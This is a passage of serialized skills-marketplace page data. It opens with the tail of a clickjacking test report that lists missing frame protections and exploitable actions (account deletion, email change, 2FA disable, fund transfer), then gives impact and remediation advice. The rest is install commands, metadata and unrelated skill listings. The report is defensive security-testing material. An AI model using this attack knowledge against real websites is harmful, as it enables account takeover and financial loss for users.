\u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n",{"name":5,"tags":24,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":39,"description":7,"nist_ai_rmf":40,"mitre_attack":43,"atlas_techniques":48},[25,26,27,28,29,30],"penetration-testing","clickjacking","ui-redressing","web-security","owasp","x-frame-options","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[41,42],"MEASURE-2.8","MAP-5.1",[44,45,46,47],"T1190","T1059.007","T1505.003","T1083",[49,50],"AML.T0024","AML.T0035","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fperforming-clickjacking-attack-test",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-clickjacking-attack-test",{"tool":65,"command":66},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-clickjacking-attack-test",{"tool":68,"command":69},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-clickjacking-attack-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",true,[73],{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",2222,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-clickjacking-attack-test\u002Freferences\u002Fapi-reference.md",[80,89,94,101,108,115],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":84,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":88},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":90,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":84,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":88},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":84,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":88},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":84,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":88},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":84,"licenseFileUrl":6,"sourceHtmlUrl":112,"categories":113,"keywords":114,"publishedAt":88},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":84,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":88},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]